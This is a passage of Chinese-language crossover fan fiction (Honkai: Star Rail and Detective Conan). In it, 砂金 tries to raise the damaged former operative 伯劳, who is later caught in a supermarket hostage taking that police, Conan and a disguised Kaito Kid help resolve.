而伯劳在书房待了一下午,最后捧着《善恶的彼岸》、找上了砂金,对着砂金认真地一字一句地读道:“更加强大,更加邪恶,也更加深刻,同时更加漂亮。” 砂金:“……所以?” 砂金有些惊讶,伯劳这么快就能读懂这种书了吗?但……砂金感觉好像有些不对劲,结果就听到伯劳问, “我可以叫更加吗。” “……” 伯劳声音小了一点,重复道:“我可以叫更加吗。” “……你不用急着完成这个任务。” 第105章 “那句话的意思不是在夸更加强大和漂亮, ”砂金向伯劳解释,“但如果你是真心想叫这个名字、而不是急切于完成我给的任务,那你可以叫这个。” “你可以做任何你想做的事, 前提是你想、而不是为了满足我想。” 伯劳:“……对不起。” 砂金猜对了, 伯劳就是在“敷衍”他, 而且看伯劳的表情……对方还是没听懂、只是在习惯性请罪。 “没关系,这里的书不适合你,是我粗心大意了, ”收到娜塔莉回信的砂金在网上下着单,“等签收、你就先从那些简单一点的地方开始学吧。” 照顾小孩子,果然没那么简单啊……总监大人感受到了这场挑战的艰难性。 —————————— “我连我小时候都不知道是怎么过来的了,现在竟然还要养别人……” 砂金在自我吐槽。 【但, 还是得养。 】「砂金」耸肩。 伯劳歪下头,捧着儿童绘本在等砂金给他讲故事,同时卡卡瓦夏眼睛亮亮地也在等砂金开腔——砂金安排了一个作息表,空闲的傍晚是故事时间。 砂金叹气,打开了录音机, “这是一朵花的故事,” 砂金读书的声音很好听,但绘本……不是光靠读就可以了的,往往还需要讲述者的发挥和理解,第一次接触这种读物的砂金有点干巴巴地读着, “它在还是一颗种子的时候被人种在了土里……” 不过,不管是伯劳、还是卡卡瓦夏,都不会介意砂金的生熟, 因为他们也是第一次听。 “然后它开始发芽,生长……” 「砂金」坐在窗台上,闭着眼听着砂金缓缓的语词。 “可是一阵大雨打断了它努力长出的芽叶……” …… “真的必须养吗?” 砂金又在怀疑自己了,因为他现在在教伯劳怎么做饭,他不打算给伯劳灌输什么思想、但伯劳得学会自己怎么生存吧? 砂金不可能养伯劳一辈子, 可不知道是什么原因,伯劳每次尝试自己一个人动手的时候、就总会出点意外,给厨房重新装修的家装公司都开始向砂金递优惠打折卡了。 【真的,】「砂金」说道,【这可是你自己亲手捡回来的、多少得负一点责吧。 】当然,负得也不多。 砂金也不可能为伯劳的一生负责。 虽然都是在照顾“小孩子”,但多了一个伯劳、真的和陪卡卡瓦夏玩是完全不一样的体验。 唉……砂金硬着头皮,再次站在灶炉前对呆呆傻傻的伯劳道,“看着我,我再示范一次……” …… “良心真不是个好东西,而我竟然真的有这玩意儿……虽然不多。” 举着衣架,一个接一个在伯劳身上比划着各式服装的砂金如此说道。 【我觉得你说的很对。 】 举着空气衣架,一个接一个在卡卡瓦夏身上比划着各式童装的「砂金」也如此说道。 【这件好看吗? 】「砂金」问砂金,砂金看了一眼,是件连体的黄色小鸡睡衣。 “挺好的,”砂金问「砂金」,“你看这件适合他吗?” 「砂金」同样看了一眼,砂金手里正拿着的是身超大号黄色胖鸡连体睡衣,【好眼光。 】 砂金扬扬下巴,“那当然喽。” 不愧是“同一人”啊,在某些方面相当的默契。卡卡瓦夏和伯劳则同步地歪了歪头——算了/没关系,大哥哥们/主人开心就好。 就算当了“家长”,砂金也没有变得多么着调……这算是个人风格显著吗? …… “总之,格查尔他得负全责。” 砂金一边看着娜塔莉发来的“育儿指南”,一边在笔记本上写写画画,读绘本的语音也发给了娜塔莉夫人、夫人认真听完后给了他不少建议,可…… 想他堂堂砂金总监、何时会在这种事上浪费时间? 【还是先去厨房吧、朋友,】「砂金」像个幽灵一样,幽幽地飘了过来,【伯劳又在尝试做晚饭了。 】 “琥珀王在上,让他住手——!” …… 无序的时间跳跳停停,但之间真实发生过的一切却并没有被删减, 在等待不知什么时候会到来的“机遇”的过程中,砂金并没有发现、他的绘本故事讲的越来越好了。 “……花儿继续努力地长啊长啊,它长出了更漂亮更强壮的叶子,”砂金垂目、嘴角挂着温和的笑意,“它发现,原来雨水不是只能打断它的叶子啊,雨水也可以成为它生长的养料……” 这是一本有关困难与挫折的绘本,结局一如儿童读物那样积极向上。 “于是,花儿再也不害怕雨水的到来了……” …… 砂金同样没有注意到,在他尝试让伯劳一个人独立做饭时,伯劳会在他离开后、停顿片刻,然后抖着手刻意将水果罐头塞进刚换的烤箱里。 【你可以做任何你想做的事,前提是你想、而不是为了满足我想。 】 这话太难让人理解,伯劳只能从字面意思上进行思考——要做不满足主人的需要的事,那就是……他要去做主人不让做、不喜欢的事? 好可怕的任务…… 但这是主人说的…… 第一次做这种类似举动的时候,伯劳很紧张……紧张到浑身发抖、面色惨白,但砂金却误以为伯劳是在害怕闯祸后的惩罚,没过于在意。 终于,伯劳松了口气,他应该没有做错, 并且决定再接再厉。 目击伯劳“犯案”全过程的「砂金」脑袋里浮现的第一个念头是——无辜被烧的厨房会哭的。 伯劳的“非人感”和“愚钝”比之格查尔更甚,正像格查尔认为的那样……这样的他们,已经无法再融入到正常人的世界里了。 不过见砂金在离了伊达航的监督后、一日三餐吃得越发规律与健康,「砂金」选择安静地飘走、没向砂金揭发伯劳“天才”般的理解方式。 毕竟谁也无法定价一枚筹码的价值, 也许这就值得一个奇迹呢——砂金在影响着伯劳,而谁又知道日后的伯劳还会对砂金有什么影响? …… 有何影响暂且不知,卡卡瓦夏倒是很喜欢和伯劳待在一起的。 两个同样不被这个世界接纳的“小孩子”时常凑在一起做一些奇奇怪怪、旁人不太能理解的事, 就比如说…… 书房里,卡卡瓦夏趴在桌子上、伯劳一动不动地坐在椅子上,面前是一本摊开了、摆在窗前的很厚很厚的词典,厚到书页因书脊的变形而翘起一边。 在窗外微风的作用下,那页纸晃晃悠悠、晃晃悠悠……伯劳和卡卡瓦夏都在认真的看着,等着…… 呼~ 又刮进来一阵稍大点的风,书页终于失去了平衡、顺着风的力道翻过去几页。 【好耶! 】卡卡瓦夏瞬间激动了一下,为努力的风鼓了鼓掌,【快点快点,这是第十一次了! 】 好像能听到卡卡瓦夏无形的催促一样,唔、也有可能只是巧合,伯劳伸出手再次把翻过来了的书页再翻回去,然后收手…… 卡卡瓦夏也再次安静,两颗脑袋继续盯着欲翻不翻的书页,等待微风的第十二次温柔光顾。 “伯劳,” 砂金突然传来的声音吓得伯劳手一抖、马上合上那本厚重的词典推到一边,又去摸滚在一边的笔和作业本、僵住在桌前。 “把面具戴上、帮我去取个信,顺便去超市买一些我们之后出门要用的东西。” 砂金推开书房的门,向伯劳吩咐道,却没说具体要买些什么——听娜塔莉夫人说、这叫社会化训练,砂金也不知道管不管用,总之先用上再说? 呃……过了可以算是鸡飞狗跳的好一段日子之后,铃木园子的请帖终于“姗姗来迟”了。 伯劳僵硬地点点头应下,很听话地出门了,同时屁股后面还跟着个卡卡瓦夏。 砂金欲言又止,最后还是没拦着……小孩子爱玩就让他们玩去吧,反正他有钱,买回来的东西里只要有十分之一是有用的就足够了。 然后,砂金上前看了看之前留给伯劳的作业本…… 没有意外,除了题目外全是空白,也不知道一上午伯劳都在做些什么、硬是一个字都没写。 不过嘛……砂金拎起作业本的一角晃了晃,啪叽一声丢在桌边的垃圾桶里——不想写那就不写,对伯劳而言重点还是那个“想”字。 【这不是你让一个最多小学毕业的文盲、去解高等数学题作业的理由,】「砂金」轻轻白了砂金一眼,【你就是在逗弄欺负人家吧。 】 伯劳他就是想写,也写不出来啊! 家长的身份好像并没有改变什么,砂金依旧是那副有点恶趣味、喜好随心所欲的行事作风, 但这又很合理,指望砂金能像娜塔莉那样、本就是不可能的事。 砂金笑了笑,“大家都很开心,这不就行了吗?” 第106章 然而砂金没等多久,等回来的不是迷茫地捧着一大推、不知道做什么用的东西的伯劳,而是焦急跑回家的卡卡瓦夏。 【大哥哥! 】卡卡瓦夏快急哭了,【伯劳哥哥他遇到危险了——! 】 —————————— 其实, 砂金在该靠谱的时候、还是很靠谱的。 砂金让伯劳去的是超市是一家大型商场, 里面卖的东西很多, 但又可以保证伯劳他买不到一些危险物品——比如枪支弹药此类。 之前有被砂金带着逛过超市的伯劳也没到会迷路的那种程度,伯劳只是推着小车在货架之间徘徊不定, 出门…要用的……东西……… 有些不解,以往伯劳出门执行任务的时候,所有装备都有人为他准备齐全,伯劳只需要记得按时去回收点等待回收就好了,真让他上手准备、伯劳也真不知道要准备些什么。 那……空手回去? 可这个“错”会不会犯得太大了点, 伯劳不敢太过妄为,现主对他的“宽恕”好像只体现在厨房里? 那就买点什么……想好了的伯劳正好停下脚步,扭头看了看身边的货架,他现正在零食专区,五花八门的包装让伯劳看花了眼, 巧克力? 高热量食物,应该需要, 伯劳拿了一条巧克力放在车筐里。 方便面? 速食快餐,应该是需要的, 伯劳又拿了一桶泡面。 面包? 也是食物, 需要需要…… 伯劳走的很慢,几乎是走一步、拿一样东西,只要是他能看见的、都拿了一份放在车里, 没等伯劳走出零食区、小推车就已经满到堆起一个小山堆了, 好像有点问题? 盯着小山看了好一会儿,伯劳又拉了一辆小推车过来——好了,这样就有位置继续放东西了, 问题解决。 目睹了全过程的路人推销员嘴角微抽,随后职业水平超高的端起小盘子凑上前,“这位先生,要试试新品试吃吗?现在购买还有优惠喽!” 伯劳闻声扭头、无机质的眼神让认真推销的小姐姐一僵后,又看了看拖盘里的东西——一根根牙签上插着一小块切开的面包粒。 面包……伯劳平静地回答:“我拿过面包了。”所以不需要了。 “这……”推销小姐姐灵光一现,有些缺德地说道,“你之前拿的是麦香口味的面包,可我手上的可是最新品的草莓味的啊!两个是不一样的!” 不一样的?伯劳眨下眼,看看小推车、又看看推销员,好像确实是不一样的,于是…… “我要一个。” 推销小姐姐:……真上当了啊? ! 不止如此,伯劳拉着两辆小推车还想拐回到之前已经走过的货架那,他想起来还有其他口味的巧克力泡面等等没有拿全。 也就在伯劳调头的这一时,啪叽一声、头顶的灯闪了闪,楼层的大门被人强制性的锁死,蒙着面、持着刀枪的悍匪冲了进耒,头顶的广播也出了声音, [所有人!你们被劫持了——! ] …… “伯劳、在超市、遇到坏人……了?” 几个词放在一起,砂金脑袋差点没转过来弯,不会是黑手党找上门了吧?但不应该啊,伯劳外出都有记得把贝尔摩德给的面具戴好的,黑手党那边也不该如此“声势浩大”…… 脑子里想着许多的事,砂金行动上半分也不慢地赶去了商场,而商场外已经有巡警正在维护秩序、等待后援大部队的支援。 “不好意思打扰一下,”人群骚动不止、砂金拦下一名巡逻警察询问道,“我有个朋友正在里面,现在是什么情况……” “请不要慌乱,”巡警不是第一次被人拦下了,他飞快有序地安慰着焦虑的人群们,“目前局势稳定,我方会竭力保证人质们的安全……” 人质? 砂金没再给巡警增添麻烦,顺势被警方引着向人质家属们聚集的方向走去,同样被聚集在这边的人们多少都有大楼里被困的人员有着关系。 “都是我的错……”中年男人哭得泪流满面,“我不该让雅子一个人带着早苗去买零食的……” 也有两、三穿着校服的女生面色惨白地聚在一起,“早知道…我……我就不让阿贵去帮我买东西了……” 还有人垂着头、沉默不言…… 不过听这些人所言,这次意外不是专冲伯劳一人来的,砂金轻轻松了口气,如果真是黑手党的那些人、那所有的人质就真的只有剩下死路一条了。 …… “砰砰砰——!” 劫匪对着天花板上好一阵鸣枪,大喇叭嗡嗡作响,“所有人都给我安静!” 因为这层楼大半是零食货架,现在有不少顾客颤颤巍巍地抱着自己的孩子,努力安抚着受惊大哭的小朋友们也安静下来。 “所有人都抱头蹲下!听我的指挥——!” 劫匪继续发号着施令,伯劳没想听他们的,但他身侧的推销小姐姐却拉了拉他的手示意他赶快蹲下。 噢、主人说过,在外面的时候要尽量低调,不要太显眼……见到其他人都矮下去半截身体,伯劳才也配合着一同在劫匪们的指挥下和其他人质一起被聚集在一处。 然后是被收缴手机…… 站在伯劳面前的劫匪脸上是面罩、看不见表情,但从握紧的拳头上也能知道对方的心情很是不爽,“把手机交出来!” “你就给他吧……” 推销小姐姐小声劝解着,但伯劳板着一张脸,不为所动——手机是主人给他的,除了主人、他谁也不给! “你这家伙!”劫匪气急,扯着伯劳衣领将本就不壮实、伤好才没多久的伯劳拽了起来,“手机给我!别逼我对你不客气!” 才不要……伯劳偏头,主人的东西不可以给别人…… [伯劳,手机给他。 ] 伯劳眼睛微微睁大了点,下意识按照那条指令将手机掏了出来,随后被劫匪一把抢走,本人也被推倒在地上。 “主人……”摔倒的伯劳条件反射地应了一声,才发现砂金的声音是从面具一侧的耳麦里传来的。 原本这个小装置是砂金怕伯劳一个人走丢、才花钱请贝尔摩德在做面具时装上去的,这个时候能派上用场、也算那笔钱没有白花了。 [我在。 ] …… 砂金也安抚——虽然不知道伯劳需不需要——了一声,躲了躲其他人的视线后,随即问道,“小声回答我、别被人发现,你有受伤吗?” [没有。 ] “那就好,先注意保护好自己。”砂金说道,那一身伤可才养好、砂金不想再炖养身汤了,他这个陪喝的人都喝胖了。 “你现在方便行动吗?” …… 伯劳观察了一下四周,收完手机后、开始有持枪劫匪两两一组给人质上绑, “现在有,等下没有。” …… 【里面的人正在限制人质行动。 】「砂金」抱着卡卡瓦夏回来了,顺便解释了一下伯劳那贫瘠的语言表达,【绑匪之间分工还挺明确有序的、应当是有组织有预谋的犯案。 】 砂金继续问道:“现场大概多少人质和劫匪?” [粗步估计十余人,均携带武器枪支……人质,人质很多……]伯劳扫了一眼周围,[三、四十人左右。 ] 【劫匪共计十七人,其中有三人在同一楼层的监控室和广播室,被劫持的只有伯劳所在的那一楼……但不排除还有内应的可能,】 「砂金」看见的比伯劳要多的多,一般情况下、他和卡卡瓦夏并不会参与到砂金的计划与安排中,砂金也不喜用两人进行作弊,但现在是非常情况。 卡卡瓦夏补充,【被绑住的大家里还有好多小孩子! 】 这下有点麻烦了,砂金想,伯劳一个人突围出来不是难事,但小孩子是最难预测行动的、也是最容易被抓住的弱点…… [啊咧咧……] 突然响起的熟悉声音让砂金表情微微一顿、他好像找到意料之外的“帮手”了。 …… “柯、柯南……”毛利兰紧张地试图将柯南叫回到自己的身边,“你不要乱动,被发现就危险了……” 毛利兰原本是打算带柯南来买点零食的,铃木园子同样邀请了她去海上珠宝展游玩,而轮船一开、肯定不会只开几个小时,整艘船还会在海上游玩几天, 所以必备的一些出游物件和给柯南解闷的零食当然是必不可少的,可谁知道会如此巧合、正好和劫匪们撞到了一起。 柯南却自顾自地凑在被劫匪丢在了他们跟前的伯劳的身边,小声但很清楚地向伯劳问道:“好奇怪哦……大哥哥你刚刚是在自言自语吗?” 被发现了……伯劳意识到了这一点, 下一秒,仿佛散发着血腥味的杀意骤然压在了柯南的肩头,柯南脸色剧变! 和主人的通话被发现了,主人不允许被发现……伯劳脑袋里只剩下了一个念头,他需要完成主人的命令,他应该…… 杀了他, 杀掉这个发现了他失误之处的孩子,挽救主人布下的任务! 第107章 被恶意针对的柯南僵硬地无法动弹、伯劳缓缓地朝柯南伸出手…… “这位先生、你没事吧!”推销小姐姐不知道怎么挤了过来,猛得握住了伯劳的手,“有没有伤到哪里啊?” “安静!你们在吵吵什么呢?!” 这边的动静引来了劫匪,劫匪把枪口怼上了伯劳的脑袋, “不要想着闹事,你们两个过来、先把他们的手绑上!” 伯劳缓缓眨眼, 等劫匪们再离开时、他的两只手就都已经被绑到身后了。 但伯劳动了动手腕, 感觉可以再挣开、不影响他再杀…… [刚刚你身边的是个戴眼镜、打着红色小礼结的小男孩吗, ]耳麦里的声音阻止了伯劳接下来的打算, [他可以信任。 ] 可以信任…… “好的。” 伯劳看向柯南,仿佛刚刚他什么都没有想、什么都没打算做一般,平静地开口准备走程序道, “你好, 我是伯劳。” …… 他……柯南深深地呼了两口气,他一点也不好! 伯劳这个人……在侦探、尤其是柯南这种水平的侦探眼里, 真的太显眼了, 平静的表情、奇怪的气质、摔倒时的防卫性动作、不知在与何人沟通的自言自语……浑身上下,哪哪都写着有问题,柯南这才想着接近试探一下, 可谁成想,伯劳的反应会如此剧烈! 之前只是怀疑,但柯南现在百分之百地肯定了——面前这个自称伯劳的男人,就算不是劫匪的内应、也绝对杀过人! 倒是无人注意到,刚刚拦下伯劳动作、吸引来劫匪的推销小姐姐眼中,飞快地闪过一丝不自然的神情,随后又恢复成一开始柔柔弱弱的样子。 程序走完、但结果错误……没等到柯南的回应的伯劳转头就向砂金回复道:“他不理我。” 砂金都不用让「砂金」去看看发生了什么,就知道伯劳肯定是做了什么吓到对方、引起柯南的警觉了,只好为他出主意道, [告诉他冰淇淋球很好吃。 ] 伯劳依言向柯南转述,“冰淇淋球很好吃。” 什么冰淇淋球……柯南顿了顿,想起了什么,“砂、砂金先生?” 突然提到冰淇淋球,那柯南只能想到砂金了,所以面前这个伯劳、是砂金那边的人? 身上必定有命案的伯劳和那位砂金先生,柯南感觉砂金身上的秘密貌似变得更多了。 “柯南……”也被绑上了的毛利兰缓缓地挪到了小孩子的身边,小声询问着,“你……发现了什么?” 怎么小兰也……柯南紧张万分,“没、没发现什么啊哈哈……” 毛利兰不语,她早就注意到了,柯南有时候真的不像是个普通的小孩子。 见柯南和毛利兰是一起的,伯劳也转头看向毛利兰,同时耳机里适时响起砂金的介绍,[那位可爱的女孩子是毛利兰,也是可以信任的人。 ] 伯劳也向毛利兰点点头, “你好,我是伯劳。” “啊、你好,我是毛利兰……”虽然不清楚为什么要突然开始自我介绍,但毛利兰很有礼貌地没让对方尴尬。 程序正确,结果正确。 伯劳继续依照耳麦里的砂金的指示对毛利兰和柯南道,“我有办法联系到外界,你们还有什么遗言要说的吗。” 毛利兰愣了愣、发出一声气音:“……啊?” 这么快的吗,毛利兰觉得,他们应该还可以再救一救的吧? …… “我是说、还有什么需要转达的吗!”砂金在场外捂着脸,“字面意思上的转达,不是那种用来威胁别人的转达……” 黑手党真的不教好的啊! …… “对不起,我有些口误,”伯劳面不改色地改口,背在身后的手指扣了扣掌心,“是转达,有什么需要转达的吗?” 柯南小心地打量了一下伯劳,不知道对方是怎么联系上外界的、但对方应该没有说谎。 耳麦藏在面具、不可能拿出来给柯南看的伯劳继续做着一个没有感情的传声筒,“砂金说外面警察已经就位了,让你们不必惊慌。” 伯劳心里感觉……有点怪怪的, 因为砂金的原话也是——你们不要害怕,马上就会没事了的。 那个“你们”中,也包括了伯劳自己。 伯劳不知道该怎么形容,但如果他有选择的可能,在众多前主和砂金之间…… 虽然现在这个主人总让他做一些很难完成——但并不危险——的任务,说一些他听不太懂的话,但他想、他会选择现在的这个主人。 …… [没有什么要转达的,只是说要小心。 ] 劫匪的情况了解的差不多了,毛利兰他们一时也没什么要说的,砂金表示了解后、还好警方的人手也都到了,便向警察堆里找自己熟悉的那个人去。 “这位家属请再等待一会儿,谈判组的专家马上就位……” “我找伊达警官,”砂金简洁明了的出示了一下正在通话中的手机,“我朋友在里面,我刚刚和他联系上了。” “!!!”警员马上改变了态度,“请跟我到这边来!” 能有一个了解大楼内部情况的消息来源,这事可太重要了!没多会儿,砂金就见到了他想见到的人。 伊达航和身边的目暮警官步调急切地向砂金走来,伊达航先出声向砂金问道,“现在是什么情况?” “我朋友也在里面,他刚好有两个手机,”砂金快速重复了一遍已知的情况,“……大概就是这些,不过听他们说、劫匪最开始使用了商场的广播,广播室那边可能也还有劫匪逗留。” “警方这边有什么收获吗?” 人质数量过多、劫匪武器齐全,情况不容乐观……目暮警官眉头紧锁,只道:“劫匪们在索要高额赎金和逃跑工具,谈判专家正在出面安抚……” “那意思就是没什么收获了。” 砂金这话说的有点子不客气,但事实正是如此,目暮警官也无法反驳。 伊达航抬手拍拍砂金肩膀,“我们会努力的……” 他倒不是觉得警方无用,砂金想,他只是担心伯劳应激了、造成一些劫匪伤亡的事件出来,甚至是劫匪死了问题也不大、别波及到无辜的人质们身上就好。 “他们要多少赎金?”砂金问道,“我来出,唯一的要求是我要介入到这起案子里。” 目暮警官想都没想、立即回绝道:“这不符合规定!” 砂金看向伊达航,“伊达警官,你相信我吗?” 伊达航思考片刻,“我为他担保、目暮警官。” “等等、这不是担不担保的问题……” 然而伊达航依旧“我行我素”地带着砂金就往警方内部走,边走还边说道,“已经在通知上层调运车辆了,如果无法进行解救作业、我们会满足劫匪的一切需要……” 一切只为保证无人伤亡。 “我……哎,”目暮警官正了正头顶的帽子、摇头叹气地跟上,但还是没再多加阻拦,大不了出什么事由他担着好了,伊达老弟的前途敞亮、他绝不会让对方背锅的。 …… 而砂金的加入果然没让伊达航“失望”。 “连我的手机,”套着金灿灿有些土气的手机壳的手机被砂金放到了技术员的桌子上,“我找朋友要了一下商场的地形图。” 原本还怀疑对方能有警方专业吗的技术警员在伊达航的示意下,有些不情不愿地插上了砂金的设备,结果下一秒眼睛就直了, 显示在电脑屏幕上的3D可动地形图、比他们警急联系商场管理者要到的示意图还要全面详细! 砂金:“监控应该也有……” 话音刚落,技术警员就找到了窗口,刷一下内部情况具揽无疑!技术警员甚至觉得自己是来混工资的、他没有任何用武之地, 八木海则表示,在这方面她称第二、就没人敢称第一! 伊达航是见过砂金的“朋友”们有多“神通广大”的,所以这时候的他很是淡定地对砂金说道,“劫匪他们要五百万。” “划我的卡,朋友,”砂金掏出了他的银行卡,“不用警方还。” “那可不行。”伊达航勾了勾唇,说实在的、遇到砂金后,不知道是不是因为曾经一同死里逃生过,他身上的压力顿时也小了一些。 接过银行卡的伊达航只是说道:“他们还要一辆加满油的无牌照面包车,我们在准备了……不过时间尽量要拖延一会儿。” 伊达航没拒绝砂金的钱,个人出资的确比往上面审批要快的多,但他也没打算这么简单就放跑劫匪们, 这笔赎金只作最后的选择使用,防止劫匪开始焦躁之时、警方却拿不出钱来的急迫情景发生。 但监控和地图是有了……可劫匪那边依旧不怎么好下手,警方的顾虑还是人质。 …… “砂金问我们,有没有办法暂时吸引住劫匪的注意力,”伯劳问着身边的几人,警方找到了一条潜入路线、但突袭需要保证不去惊动劫匪们, “安全至上,风险最小的那种。” 毛利兰和柯南环顾四周,感觉这个办法有点难想。没有枪的话,毛利兰还敢放手一搏,但现在…… “喂喂喂,几位,”推销小姐姐这时插入了进来,“我是不小心听到的!你们是打算自救是吧?” 毛利兰连忙嘘声,“小声点!” “放心放心,我有个主意你们看行不行,”推销小姐姐用下巴、指了指远处中央的货台。 聚集着众人的区域是比较空闲的大空地,只有中央堆积着很高的面粉柜,上面则堆满了一袋一袋的面包粉之类的货品。 “我们可以用那个遮掩劫匪们的视野,让客人们都躲到后面的货架里去。” 算是个可行的主意,可……柯南皱眉,他们该怎么接触到那些面粉? “我来,”伯劳活动了一下手腕,“我能冲过去。” 这个难度对从前时常在枪林弹雨里求生的伯劳而言,可谓是小菜一碟、不在话下。 “好……”等等!注意到了一点的柯南猛得扭头去看向伯劳,他的手是什么时候解开的? ! “我也能帮忙,” 柯南再一转头,发现推销小姐姐也笑了笑,凑到了毛利兰的身边、已经开始为毛利兰解绑了! “他们没绑太紧,”推销小姐姐有些不好意思地解释道,“我随便挣挣就开了……正好等下我和这位小姐可以想办法保护一下其他的客人们……” 柯南也用力挣了挣绑在身后的手,结实的绳子纹丝不动,柯南……沉默了。 第108章 “什么声音?” 劫匪中坐阵在人质这边的老大皱眉按着手里的对讲机,而另一边滋滋作响、不知道发生了什么,“喂?呼叫广播室、去看一眼监控那边怎么了。” [滋、没事老大……滋滋、应该是电子设备多,这边有点干扰了吧……] 好在马上响起的回复打消了些劫匪头目的警惕, “都打起精神来!监控盯死、留意别让警察他们溜进来了。” [滋、放心吧老大! ] 监控那边安全,可不知道为什么……劫匪头目心里还是有点不对劲儿的感觉,是他太过紧张了吗? “都再留心一些。” 劫匪反复叮嘱了一声, 这一票干完可以自在好一段时间, 他不希望出现任何的差错。 而劫匪不知道的是…… 监控室那端,带着变音器、挂断通话的伊达航也随之轻松了气,而他旁边躺下的是被麻醉迷晕了的几名劫匪, “小心行事, ”伊达航把对讲机交给留守队员, “稳住他们,我带队继续靠近大门。” 劫匪锁住了楼层的大门、控制住了电梯,在防止人质逃跑、警方闯入的同时,却也将自己困在了楼层里,仅能通过监控和广播室进行防卫。 而在八木海的帮助下,绕开监控探头、一举拿下这几名在外放风的劫匪也就不成了难事。 高木涉严肃地点了点头,“是!”他保证完成任务! 大厅内,身形矮小的柯南在大人们的掩护下、一点点地接触着那些最难控制行动的孩子们,好在绑匪也嫌小孩子们哭闹起来吵,不老实的孩子嘴巴上都贴了胶带。 “不要紧张!我是假面超人派来救你们的哦, ”柯南扫了一眼孩子胸口上的假面超人徽章,小声说着,“等下我喊跑,你们什么都不要管、拼命往架子后面跑……能做到吗?” 泪眼汪汪的小孩子点了点头,也幸好出于家长对孩子的保护心理、大部分孩子都被护在人群后, 跑起来也快…… 有了砂金的情报,确认人质中没有劫匪的内应后,柯南也更放得开手脚了,他像是个带来希望的小信使一样,躲在人群中慢慢地组织起逃跑路线, 毕竟未知,往往才是困境中的最大敌人。 伯劳则留在原地、几乎是靠近劫匪的最内层位置上,静静地观察着劫匪们的行动轨迹,因着超市货架太多、地型太复杂太大、人质数量也不少,劫匪们的运动范围也仅在中央大厅内部的一圈, 而伯劳附近只有两、三名劫匪时不时地走动一下。 伯劳需要大部分劫匪都看向或是能注意到他,他的任务就是抓住那些劫匪的注意力。 门外,戴好防毒面具的伊达航挥挥手、带领着队员们在门后预备好一切——炸开门锁的爆破装置、催泪瓦斯、麻醉弹等等都已就位。 劫匪脚步一声一声踩着点,门外的警察们也在掐着点……在某一瞬,一名劫匪刚要转身的那一刻,伯劳动了。 三步并两步,像是道离弦的箭一般、瘦长的身影猛的窜了出去。 “别动——啊!” 哗哗一声响起,早在等这一下的毛利兰与推销小姐姐同时动了手,之前被慌乱的人群随意丢弃的手推车被两人一脚踢出去、撞上了距离伯劳最近的两名劫匪身上, 随即不作任何的停顿,推销小姐姐两人动作默契地扯住一旁吓呆得不敢动弹的客人们快速往一边撤去,最后一名附近的劫匪反应过来抬枪向伯劳射去,而子弹却叮叮当当地打在了已然无人存在的地板上, 伯劳的动作很快,在下一轮子弹锁到他身上之前,他成功触及到了面粉货架,单手猛得抡起面袋…… “砰砰砰——!” 子弹不可避免的打在了面袋上,一瞬间、面粉撒开了一大半, “不要开枪——!”劫匪扯着粗生粗气的大嗓门,格外大声的警告同时响起,“会引起粉尘爆炸的!那大家就都别想活了——!!!” 实际上,这种程度的粉尘和宽大的空间并不足以引发大规模的爆炸,但人在紧张时总会习惯性下意识地听从指挥…… 信誓旦旦的警告惊得后续反应过来的其他劫匪们纷纷顿住了手上的枪,劫匪头目沉下一张脸,“还不快把那边闹事的人拦下!” 抓住机会了的伯劳没有停歇地继续用匕首将面粉袋剖开、抛向逼近的劫匪……实际上,伯劳更想用匕首剖开绑匪们的喉管,但砂金安抚住了他, 砂金说在保证自身安全的情况下,尽量别见血,不然后面不好将伯劳从警方那里平安地捞回去。 也就在众绑匪纷纷向伯劳那边而去之时,伊达航和柯南同时下达了指令—— “破门!” “跑——!” …… 后续结果没有意外,行动总结时,也只有两名客人跑得太着急、扭伤了脚而已。 如果在如此天时地利人和的情景下行动还会失败,那砂金真的会去劝伊达航辞职、另谋高就,都好过被一群废物拖了后腿。 “那我先走了,”砂金领着伯劳,向伊达航眨了下眼,“口供笔录什么的……等那边的人通过气,我们再来?” 伊达航知道砂金说的是公安,伯劳的身份、还有砂金那提供地图监控的朋友……不用问,也该明白这里有多少弯弯绕绕,伊达航没好气地拍拍砂金脑袋, “走吧走吧,”伊达航暂时替砂金担着了,“回头再找你们算账,其他的……” “总之,谢了。” 没有砂金,这次营救不可能这么顺利。 “朋友,这个就不必客气了吧?” …… 另一边逃不掉笔录、被留了下来的柯南则皱起了眉,好像哪里还有问题…… “柯南?”毛利兰伸手在走神的柯南面前晃了晃,“今天的事柯南也是个大功臣呢!谢谢柯南啦。”同时毛利兰也在担心,会不会是小孩子后知后觉、现在才反应过来害怕了? “我没事的,小兰姐姐!”柯南回神,也很关心地问道,“你没有受伤吧?” “我没事呢,还好有那位小姐帮忙……哎?”毛利兰回首猛然发现她身边少了一个人,“那位店员小姐呢?”她不应该是一直和她在一起的吗? 柯南猛然想起了违和——那声提醒粉尘爆炸的声音来源不是任何一名绑匪,而是来自于人质的那一方! …… 远处无人注意的小巷里静静地停着一辆车,上了年纪、戴着圆框眼镜的老人坐在驾驶室上,带着慈祥的笑意对刚刚上车的年轻女孩道, “辛苦了,黑羽少爷。” 第109章 “不辛苦不辛苦, 谁让我话该呢?” 说话间、从女性的腔调无缝转接成少年男性的噪音,还套着超市工作服的女孩歪了歪头,抬手自颈后猛然一撕, 破碎的面皮连带假发一同被人丢弃在了车后座上,女孩……不、这时应该称为少年的年轻人卸了力,放松地把自己摊在了座位上。 寺井爷爷这里, 永远是最安全的地方。 “黑羽少爷, ”寺井黄之助依旧笑呵呵地看着自家少爷, “这次行动有什么特别收获吗?” 其实寺井黄之助更想直接一点地去问,少爷这次有从那位魔女小姐的预言里找到什么吗, 不过想到自家少爷和魔女小姐以往的互不对服,寺井黄之助还是隐晦的表达了一下自己的关切心情。 不提还好, 一听寺井黄之助提到这个,黑羽快斗的脸刷一下苦了下来, “啊, 收获……收获当然是有啊,不过……” 黑羽快斗伪装成店员在商场里打工可不是因为他有什么特殊的癖好——没人会喜欢打工的、怪盗也不会喜欢! 一切都因那位红之魔女的预言而起。 “命运的轮盘已然转动,三重幻影的骰子已经掷下,幸之赌徒,未来、过去与现在重叠之刻,窃石者必将坠入恐惧的深渊!” …… 毫无疑问,小泉红子口中的“窃石者”就是指着身为怪盗基德的黑羽快斗——黑羽快斗刚给铃木集团寄了“预告函”、准备于海上珠宝展时偷走那件镶嵌了宝石的“幸之冠”。 而黑羽快斗其实也不想知道这个听起来不太吉利的预言的, 但奈不住小泉红子在班门口直接堵他啊! 黑羽快斗抹了一把脸,心下更苦了……上一次搞出来一个“光之魔人”就差点让他跌了个大跟头,这次又来一个“幸之赌徒” ,老天爷这么不喜欢怪盗的吗? 但放弃行动又是绝对不可能的。 